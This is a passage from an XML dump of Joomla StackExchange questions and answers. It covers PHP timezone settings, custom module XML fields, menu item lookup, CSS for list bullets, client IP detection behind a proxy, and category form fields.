solution!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well that was complicated but it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps I took:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - Created a new php.ini file and added it to my home root folder.&#xA;2 - Added the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;date.timezone = Europe/Paris&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3 - &lt;strong&gt;Important:&lt;/strong&gt; updated my public_html/.htaccess folder with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_suphp.c&amp;gt;&#xA;suPHP_ConfigPath /home3/username_here&#xA;&amp;lt;Files php.ini&amp;gt;&#xA;order allow,deny&#xA;deny from all&#xA;&amp;lt;/Files&amp;gt;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I recommend reading the Hostgator article on php.ini: support.hostgator.com/articles/what-is-php-ini&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And voila. Thanks so much for your help!!&lt;/p&gt;&#xA;" OwnerUserId="7517" LastEditorUserId="7517" LastEditDate="2016-04-23T21:36:24.420" LastActivityDate="2017-08-01T11:12:31.930" Title="Question about Server Timezones and J!3.5 Extentions" Tags="|php|joomla-3.5|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16275" PostTypeId="2" ParentId="16270" CreationDate="2016-04-22T17:12:17.150" Score="0" Body="&lt;p&gt;If you want force all articles design, you can create a template override for articles that strip all images from the article, put the first as you want (100%) and create a gallery for the other images. This way requires some php coding.&lt;/p&gt;&#xA;" OwnerUserId="8234" LastActivityDate="2016-04-22T17:12:17.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16276" PostTypeId="2" ParentId="16270" CreationDate="2016-04-22T18:17:17.840" Score="2" Body="&lt;p&gt;This might not be the exact answer you are looking for, but if it is for a full website you are developing and not only for a template that you want to distribute, then the following ideas could work well.&lt;/p&gt;&#xA;&lt;p&gt;Generally, what Johanpw suggests is the quickest solution and can be applied easily. Personally, I would likely have combined things from all the other answers and maybe go even further.&lt;/p&gt;&#xA;&lt;h3&gt;Some of the various possibilities that are available:&lt;/h3&gt;&#xA;&lt;p&gt;A template override is one of my favorites ways, as I can use my own mark up, conditions and classes on the elements.&lt;/p&gt;&#xA;&lt;p&gt;In addition and depending on the requirements, I could implement something of the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Extra custom fields on the article, for images or slideshows. The &lt;a href=&quot;http://extensions.joomla.org/extension/aixeena-cck&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Aixeena CCK&lt;/strong&gt;&lt;/a&gt;, is an easy to implement and flexible solution  for such tasks.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Additional Custom Editor Buttons to insert additional images of predefined sizes. There are slideshow/images extensions that provide such buttons to allow image insertion.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There are also extensions that provide the ability to insert code snippets in the article body, with predefined markup. For example, &lt;strong&gt;&lt;a href=&quot;https://www.regularlabs.com/extensions/contenttemplater&quot; rel=&quot;nofollow noreferrer&quot;&gt;Content Templater&lt;/a&gt;&lt;/strong&gt; by regular labs is handy tool, or &lt;strong&gt;&lt;a href=&quot;http://www.rockettheme.com/joomla/extensions/rokcandy&quot; rel=&quot;nofollow noreferrer&quot;&gt;RokCandy&lt;/a&gt;&lt;/strong&gt; by rockettheme. They allow you to build pre-made blocks of code that the end user can easily insert. Your pre-made code can hold mark-up and classes, that you will display in a certain way in the front-end.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Also in &lt;a href=&quot;https://www.joomlacontenteditor.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;JCE editor&lt;/strong&gt;&lt;/a&gt; you can create certain classes/styles, so the end user can easily pick-up from a drop-down field and apply it on certain elements of his content. You could create a few style, like small-left, small-right, medium-left, full-width and train your users on how to use apply them.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-04-22T20:21:58.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16278" PostTypeId="2" ParentId="16274" CreationDate="2016-04-23T04:26:21.693" Score="5" Body="&lt;p&gt;You should be able to set the default timezone via &lt;code&gt;php.ini&lt;/code&gt; or &lt;code&gt;.htaccess&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Set Default Timezone via &lt;code&gt;php.ini&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the following or similar line to your &lt;code&gt;php.ini&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;date.timezone = &quot;Europe/Paris&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can create the &lt;code&gt;php.ini&lt;/code&gt; file in the root folder of your website if it doesn't already exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Set Default Timezone via &lt;code&gt;.htaccess&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the following or similar line to your &lt;code&gt;.htaccess&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php_value date.timezone &quot;Europe/Paris&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If neither of these options works, you could try contacting your hosting service provider for support.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-04-23T13:43:46.550" LastActivityDate="2016-04-23T13:43:46.550" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16280" PostTypeId="1" AcceptedAnswerId="16285" CreationDate="2016-04-23T11:34:49.490" Score="4" ViewCount="193" Body="&lt;p&gt;I have created a custom module in Joomla 3.5; I have a set of fields, but surprisingly, a default editor is inserted into the module &lt;code&gt;basic&lt;/code&gt; tab, while I have not such fields in my fields XML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;        &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;            &amp;lt;fieldset name=&quot;basic&quot;&amp;gt;&#xA;&#xA;                &amp;lt;field name=&quot;title&quot; label=&quot;Title&quot; type=&quot;text&quot; /&amp;gt;&#xA;                &amp;lt;field name=&quot;subtitle&quot; label=&quot;Subtitle&quot; type=&quot;text&quot; /&amp;gt;&#xA;                &amp;lt;field name=&quot;title-class&quot; label=&quot;Title CSS Class&quot; type=&quot;text&quot; /&amp;gt;&#xA;                &amp;lt;field name=&quot;subtitle-class&quot; label=&quot;Subtitle CSS Class&quot; type=&quot;text&quot; /&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what's the issue and how can I remove this textarea?&lt;/p&gt;&#xA;" OwnerUserId="8286" LastActivityDate="2016-04-24T03:00:22.170" Title="How to remove the default editor inserted in a custom module" Tags="|module|custom-field|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16282" PostTypeId="1" AcceptedAnswerId="16283" CreationDate="2016-04-23T13:14:19.407" Score="3" ViewCount="7201" Body="&lt;p&gt;How do I get a menu item by ID in Joomla 3? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While converting a site from Joomla 1.5 to Joomla 3, I encountered this code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mainframe = JFactory::getApplication(); &#xA;$menu = $mainframe-&amp;gt;getMenu('mainmenu'); &#xA;$item = $menu-&amp;gt;getItem($Itemid);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to achieve this in Joomla 3 ? &lt;/p&gt;&#xA;" OwnerUserId="7401" LastEditorUserId="126" LastEditDate="2016-04-26T07:49:32.620" LastActivityDate="2018-07-07T07:58:42.607" Title="Get menu item by ID in Joomla 3" Tags="|joomla-3.x|joomla-api|menu-item|joomla-1.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16283" PostTypeId="2" ParentId="16282" CreationDate="2016-04-23T13:59:46.537" Score="8" Body="&lt;p&gt;Not a big difference so far for what you are after... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mainframe = JFactory::getApplication(); &#xA;$menu = $mainframe-&amp;gt;getMenu(); &#xA;&#xA;// Use this if you want to get all menu items from a certain menu&#xA;$menu_items = $menu-&amp;gt;getItems('menutype', 'mainmenu');&#xA;&#xA;// This is to get the specific menu item by menu item Id $itemId;&#xA;$item = $menu-&amp;gt;getItem($itemId);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check also, this Q/A, on getting the active menu item: &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/5198/how-to-get-the-alias-or-title-of-the-active-menu-item&quot;&gt;How to get the alias or title of the active menu item?&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2018-07-07T07:58:42.607" LastActivityDate="2018-07-07T07:58:42.607" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16284" PostTypeId="1" CreationDate="2016-04-23T21:28:30.947" Score="2" ViewCount="1799" Body="&lt;p&gt;Can someone please tell me why bullets won't work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever, I Bullet a list it doesn't appear on my web page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please tell me what I'm missing / doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carlton&lt;/p&gt;&#xA;" OwnerUserId="8056" LastEditorUserId="126" LastEditDate="2016-04-24T09:54:19.310" LastActivityDate="2016-04-24T11:07:31.150" Title="Bullets of unordered list won't display" Tags="|joomla-3.4|templates|css|joomla-3.5|gavick|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16285" PostTypeId="2" ParentId="16280" CreationDate="2016-04-24T03:00:22.170" Score="4" Body="&lt;p&gt;Please check if your custom module XML file contains the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;customContent /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This line is present in the default Joomla Custom HTML module, and inserts an editor field in the main tab of your module, even when it's not located inside the &lt;code&gt;&amp;lt;config&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-04-24T03:00:22.170" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16286" PostTypeId="2" ParentId="13724" CreationDate="2016-04-24T03:38:06.883" Score="0" Body="&lt;p&gt;Create a menu item to the category of the article with the alias menu-2.&lt;/p&gt;&#xA;" OwnerUserId="7896" LastActivityDate="2016-04-24T03:38:06.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16287" PostTypeId="2" ParentId="15822" CreationDate="2016-04-24T08:46:16.533" Score="1" Body="&lt;p&gt;In your code you could use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$date = JFactory::getDate();    &#xA;echo $date-&amp;gt;calendar('j F Y', false, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the calendar method you can use the &lt;strong&gt;&lt;a href=&quot;http://php.net/manual/en/function.date.php&quot; rel=&quot;nofollow&quot;&gt;PHP date format characters&lt;/a&gt;&lt;/strong&gt; to format accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other option:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getDate()-&amp;gt;format('%a %d %b %Y - %H:%M');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Read more:   &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/How_to_use_JDate&quot; rel=&quot;nofollow&quot;&gt;Joomla JDate documentation&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JDate.html&quot; rel=&quot;nofollow&quot;&gt;Joomla JDate API&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-04-24T09:03:55.940" LastActivityDate="2016-04-24T09:03:55.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16288" PostTypeId="2" ParentId="16284" CreationDate="2016-04-24T09:01:11.610" Score="2" Body="&lt;p&gt;As said in my comment above, nobody can give you an exact answer for your specific problem, without seeing the front-end of your pages, where you want to have the bulleted lists appear.&lt;/p&gt;&#xA;&lt;p&gt;However, here is something as a starting point:&lt;/p&gt;&#xA;&lt;p&gt;In your article content, where you are creating your unordered list, you can attach a specific class to your ul element. Something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&amp;quot;myBulleted&amp;quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;item1&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;item1&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;item1&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then in your template's custom css file, you can add:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ul.myBulleted, ul.myBulleted li {&#xA;    list-style-type:disc !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Note I am adding !important, since although you have specified the certain selector of your ul, it is still possible that other selectors from your template might take precedence over yours. The !important will give higher precedence to your rules. See yourself, if it is actually needed or not.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&lt;p&gt;For this particular case, try adding in your template's custom css file the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;li.workbookcontent.componentheading {&#xA;    list-style: none;&#xA;    overflow: inherit;&#xA;    padding: 2px 0 2px 28px;&#xA;    position: relative;&#xA;}&#xA;&#xA;li.workbookcontent.componentheading:before {&#xA;    font-family: FontAwesome;&#xA;    font-size: 13px;&#xA;    position: absolute;&#xA;    top: 11px;&#xA;    left: 0;&#xA;    color: #eb1e00;&#xA;    content: &amp;quot;\f14a&amp;quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Since this is a gavick template, usually it comes with an override.css file inside its css folder. You can paste the above code in that file and then you will have to enable the css override from the backend settings of the template.&lt;/p&gt;&#xA;&lt;p&gt;More info you can obtain from Gavick website: &lt;a href=&quot;https://www.gavick.com/documentation/joomla/templates/customization/custom-template-css&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.gavick.com/documentation/joomla/templates/customization/custom-template-css&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;On another note, you may want to contact the developers of the template and let them know that although they have added css for creating bullets of unordered lists inside articles, this won't apply, as their css code is looking for a direct ul element after the div.itemBody container, or ul element after another div, and in any case they don't include a ul element after a span which is the actual output.&lt;/p&gt;&#xA;&lt;p&gt;Actually they have something like this in their typography.css:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.itemBody &amp;gt; ul li:before,&#xA;.itemBody &amp;gt; div &amp;gt; ul li:before,&#xA;ul.gkBullet2 li:before {&#xA;    color: #eb1e00;&#xA;    content: &amp;quot;\f14a&amp;quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;While the html is like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;itemBody&amp;quot;&amp;gt;&#xA;    &amp;lt;span itemprop=&amp;quot;articleBody&amp;quot;&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li class=&amp;quot;workbookcontent componentheading&amp;quot;&amp;gt;Select Device &amp;amp;gt; Administrators&amp;lt;/li&amp;gt;&#xA;            ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-04-24T11:07:31.150" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="16289" PostTypeId="1" CreationDate="2016-04-24T13:39:17.710" Score="3" ViewCount="276" Body="&lt;p&gt;I am attempting to validate the user IP address in a post. Joomla 3.5 and PHP 5.6.20.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read  &lt;a href=&quot;https://joomla.stackexchange.com/questions/15988/how-can-i-grab-the-users-ip-address/15989#15989&quot;&gt;How can I grab the user&amp;#39;s IP address?&lt;/a&gt; and tried this out, but the wrong IP address is being returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, my client is in a NAT but I checked the external port on the router for my external dhcp address, plus I compared against whatismyipaddress.com to ensure I am not (too) crazy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most likely, this is due to a proxied setup by my hosting provider (they are now using CloudFlare).  Any ideas on how to resolve the client ip address in this situation?&lt;/p&gt;&#xA;" OwnerUserId="8296" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-04-25T09:42:55.150" Title="Getting wrong IP address from JFactory::getApplication()-&gt;input-&gt;server-&gt;get('REMOTE_ADDR','');" Tags="|custom-module|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16290" PostTypeId="2" ParentId="16289" CreationDate="2016-04-24T14:47:36.013" Score="3" Body="&lt;p&gt;Maybe bad form to answer my own post, but I did locate the answer once I moved beyond the Joomla documentation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my situation, the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$clientip = JFactory::getApplication()-&amp;gt;input-&amp;gt;server-&amp;gt;get('HTTP_X_FORWARDED_FOR',''); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;returns the correct value for the user ip address when the server is proxied!&lt;/p&gt;&#xA;" OwnerUserId="8296" LastEditorUserId="168" LastEditDate="2016-04-24T15:04:46.703" LastActivityDate="2016-04-24T15:04:46.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16291" PostTypeId="1" AcceptedAnswerId="16294" CreationDate="2016-04-24T15:05:09.843" Score="0" ViewCount="685" Body="&lt;p&gt;With this given category field I want to show the article categories.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;field name=&quot;import_category&quot; type=&quot;category&quot;label=&quot;test&quot;&#xA;            description=&quot;test&quot; &#xA;            extension=&quot;com_test&quot; /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know I need to write a query to pull the categories. But I dont how to use it with the xml in config.xml. Thank you in advance&lt;/p&gt;&#xA;" OwnerUserId="8185" LastEditorUserId="126" LastEditDate="2016-04-26T08:08:22.547" LastActivityDate="2016-04-26T08:08:22.547" Title="How to get articles categories in config.xml - Categories / SQL form field type?" Tags="|joomla-3.x|component|form|form-fields-types|xml|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16292" PostTypeId="1" AcceptedAnswerId="16293" CreationDate="2016-04-24T15:27:09.717" Score="1" ViewCount="454" Body="&lt;p&gt;It has been awhile since I went in and updated one of the sites I manage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The problem:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to the backend of my site (/administrator), it is simply a mask for the front-end. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;So when I go to either of the below urls:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com/administrator&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/administrator&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com/administrator/index.php&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/administrator/index.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I see the content for&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com/&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I tried:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disabled SEF urls in configuration.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checked the redirects table in the db for weird admin redirects (there are none).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checked .htaccess file obvious signs of hacking or malicious or really any redirects (there are none and I have just the stock .htaccess).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; If I disable the .htaccess file (rename via FTP), when I try to go to the admin page, I see a 404 error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it has been hacked or I (or another user) have installed a security plug-in that hides the admin URL. Unfortunately, I cannot remember if I have done the latter. I checked for jsecure, not there. I do have admintools installed and tried disabling it to no avail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to update to 3.5.1. I uploaded the update package, still cannot access the backend. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should note the frontend works fine. &lt;/p&gt;&#xA;" OwnerUserId="1684" LastEditorUserId="1684" LastEditDate="2016-08-18T04:02:49.930" LastActivityDate="2016-08-18T04:02:49.930" Title="Unable to Access Backend - Masked for frontend" Tags="|administrator|security|joomla-3.5|configuration|access|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16293" PostTypeId="2" ParentId="16292" CreationDate="2016-04-24T15:58:04.570" Score="4" Body="&lt;p&gt;As you mentioned, this is usually the behavior of security extensions like admintools, jSecure to protect the administration area of a Joomla site. If you can't tell if you have any of these, think how difficult is for us to say anything. I would suggest to get a backup of your site and restore it locally, or at another location of your hosting account. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There you can go and review/experiment with everything around your site. Make sure you will also review the extensions table of your database, and see if there are any other 3rd party security extensions.&lt;br&gt;&#xA;Generally in the testing site you can disable them one by one and see if and when your admin url access will be restored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding admintools, normally all you need to do is to go in the plugins directory and rename the admintools plugin folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you mentioned it, if you believe other users could have installed anything or have implement any such techniques, then it can be a good idea to ask them. After that, I would suggest to discuss between you on how to make your communication better in terms of managing your websites and exchanging critical information.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-04-24T16:37:08.937" LastActivityDate="2016-04-24T16:37:08.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16294" PostTypeId="2" ParentId="16291" CreationDate="2016-04-24T16:13:54.720" Score="1" Body="&lt;p&gt;For getting articles' categories inside the xml of your extension:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field &#xA;    name=&quot;mycategory&quot;&#xA;    type=&quot;category&quot;&#xA;    extension=&quot;com_content&quot;&#xA;    label=&quot;Select a category&quot;&#xA;    description=&quot;Select your desired category&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In case this field doesn't meet your needs, you can fetch custom data directly from the database using the sql field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;myfield&quot;&#xA;    type=&quot;sql&quot;&#xA;    default=&quot;&quot;&#xA;    label=&quot;Select a category&quot;&#xA;    query=&quot;SELECT id, title FROM #__categories WHERE extension = 'com_content'&quot;&#xA;    key_field=&quot;id&quot;&#xA;    value_field=&quot;title&quot;&#xA;    required=&quot;true&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;Please select your category&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the database prefix should be entered in the form &lt;code&gt;#__&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info on how to use these 2 form fields:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Category_form_field_type&quot; rel=&quot;nofollow&quot;&gt;Category form field type&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/SQL_form_field_type&quot; rel=&quot;nofollow&quot;&gt;SQL form field type&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Form_field&quot; rel=&quot;nofollow&quot;&gt;Joomla Standard form field types&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-04-24T16:13:54.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16295" PostTypeId="1" CreationDate="2016-04-24T18:06:28.083" Score="0" ViewCount="892" Body="&lt;p&gt;I would like to add some data to a form field I declared in my forms.xml. This form field is a custom form field which is declared like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name = &quot;userdata&quot;&amp;gt;&#xA;    &amp;lt;fieldset name = &quot;personal-data&quot;&amp;gt;&#xA;        &amp;lt;field name = &quot;test&quot; &#xA;           type = &quot;myfield&quot; &#xA;           size = &quot;40&quot; &#xA;           country = &quot;DE&quot;&#xA;           label = &quot;COM_BESTIA_FIELDS_TEST_LABEL&quot;&#xA;           description = &quot;COM_BESTIA_FIELDS_TEST_DESC&quot; &#xA;           required = &quot;true&quot; &#xA;           filter = &quot;safehtml&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I would like to use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$form = $this-&amp;gt;loadForm('com_bestia.item', 'item', array('control' =&amp;gt; 'jform', 'load_data' =&amp;gt; $loadData));&#xA;$form-&amp;gt;setFieldAttribute('test', 'country', 'US');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to add a specific value to the &lt;code&gt;country&lt;/code&gt; attribute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I do that this way, there are no changes - it still shows &lt;code&gt;DE&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4028" LastEditorUserId="3637" LastEditDate="2016-07-25T06:36:55.803" LastActivityDate="2016-07-25T06:36:55.803" Title="Insert value to custom field using getForm (setFieldAttribute)" Tags="|jform|model|jmodel|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16296" PostTypeId="1" AcceptedAnswerId="24498" CreationDate="2016-04-24T19:32:32.777" Score="6" ViewCount="300" Body="&lt;p&gt;I was interested to see the answer to &lt;a href=&quot;https://joomla.stackexchange.com/questions/16280/how-to-remove-the-default-editor-inserted-in-a-custom-module/16285#16285&quot;&gt;this question&lt;/a&gt; which mentions the &lt;code&gt;&amp;lt;customContent /&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd never come across this before, and I'm struggling to find much information on it.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It does not appear to be mentioned on Joomla's module tutorials&lt;/li&gt;&#xA;&lt;li&gt;A search of core files shows it &lt;strong&gt;only&lt;/strong&gt; to be used by mod_custom&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How it seems to work is that you place it inside the &lt;code&gt;&amp;lt;extension&amp;gt;&lt;/code&gt; tag of a module, but not within any other section such as &lt;code&gt;&amp;lt;config&amp;gt;&lt;/code&gt;. It then creates a WYSIWYG editor above all other parameters of the module.  It has no label.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, unlike &lt;code&gt;&amp;lt;field type=&quot;editor&quot;&amp;gt;&lt;/code&gt;, this saves the data into its own &lt;code&gt;content&lt;/code&gt; field of the _modules table, as 